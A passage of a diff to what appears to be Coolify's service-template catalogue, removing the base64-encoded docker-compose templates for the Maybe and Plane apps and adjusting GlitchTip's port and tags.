1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=",
"tags": [
"error",
"tracking",
- "open-source",
- "self-hosted",
"sentry"
],
"category": "monitoring",
"logo": "svgs/glitchtip.png",
"minversion": "0.0.0",
- "port": "8080"
+ "port": "8000"
},
"glpi": {
"documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io",
@@ -2681,24 +2679,6 @@
"minversion": "0.0.0",
"port": "8065"
},
- "maybe": {
- "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io",
- "slogan": "Maybe, the OS for your personal finances.",
- "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NQVlCRQogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSAnU0VDUkVUX0tFWV9CQVNFPSR7U0VSVklDRV9CQVNFNjRfNjRfU0VDUkVUS0VZQkFTRX0nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjMwMDAnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbWF5YmUtZGJ9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBTRUxGX0hPU1RFRD10cnVlCiAgICAgIC0gJ1JBSUxTX0ZPUkNFX1NTTD0ke1JBSUxTX0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdSQUlMU19BU1NVTUVfU1NMPSR7UkFJTFNfQVNTVU1FX1NTTDotZmFsc2V9JwogICAgICAtICdHT09EX0pPQl9FWEVDVVRJT05fTU9ERT0ke0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFOi1hc3luY30nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ21heWJlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzX2RhdGE6L2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSBSRURJU19EQj0xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogM3MKICAgICAgcmV0cmllczogMwo=",
- "tags": [
- "finances",
- "wallets",
- "coins",
- "stocks",
- "investments",
- "open",
- "source"
- ],
- "category": "productivity",
- "logo": "svgs/maybe.svg",
- "minversion": "0.0.0",
- "port": "3000"
- },
"mealie": {
"documentation": "https://docs.mealie.io/?utm_source=coolify.io",
"slogan": "A recipe manager and meal planner.",
@@ -3678,27 +3658,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUExBTkUKICAgICAgLSAnQVBQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC13b3JrZXIuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3Nfd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGJlYXQtd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICA